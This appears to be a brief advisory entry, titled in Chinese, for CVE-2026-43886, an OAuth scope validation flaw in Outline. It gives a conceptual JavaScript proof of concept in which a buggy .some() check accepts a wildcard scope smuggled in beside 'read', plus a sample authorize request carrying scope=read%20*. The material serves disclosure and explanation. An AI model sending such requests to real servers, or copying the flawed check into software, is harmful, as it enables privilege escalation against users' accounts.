CVE-2026-43886 Outline OAuth Scope验证逻辑错误导致权限提升漏洞

// Conceptual Proof of Concept for CVE-2026-43886 // This script demonstrates the logic flaw in OAuthInterface.validateScope() // 1. Simulate the vulnerable validation logic const vulnerableValidateScope = (requestedScopes, allowedScopes) => { // BUG: The use of .some() allows the entire array to pass if ONE element is valid return requestedScopes.some(scope => allowedScopes.includes(scope)); }; // 2. Configuration const allowedScopes = ['read']; // Assume user only authorized 'read' // 3. Attack Vector: Smuggling the wildcard '*' by pairing it with a valid scope const maliciousPayload = ['read', '*']; // 4. Execution const isAuthorized = vulnerableValidateScope(maliciousPayload, allowedScopes); if (isAuthorized) { console.log("[+] Vulnerability Triggered!"); console.log("[+] Server accepted the payload:", maliciousPayload); console.log("[+] Attacker now has full access via the '*' scope."); // Real-world exploitation would involve sending a request like: // GET /oauth/authorize?client_id=...&response_type=code&scope=read%20*&redirect_uri=... } else { console.log("[-] Request rejected."); }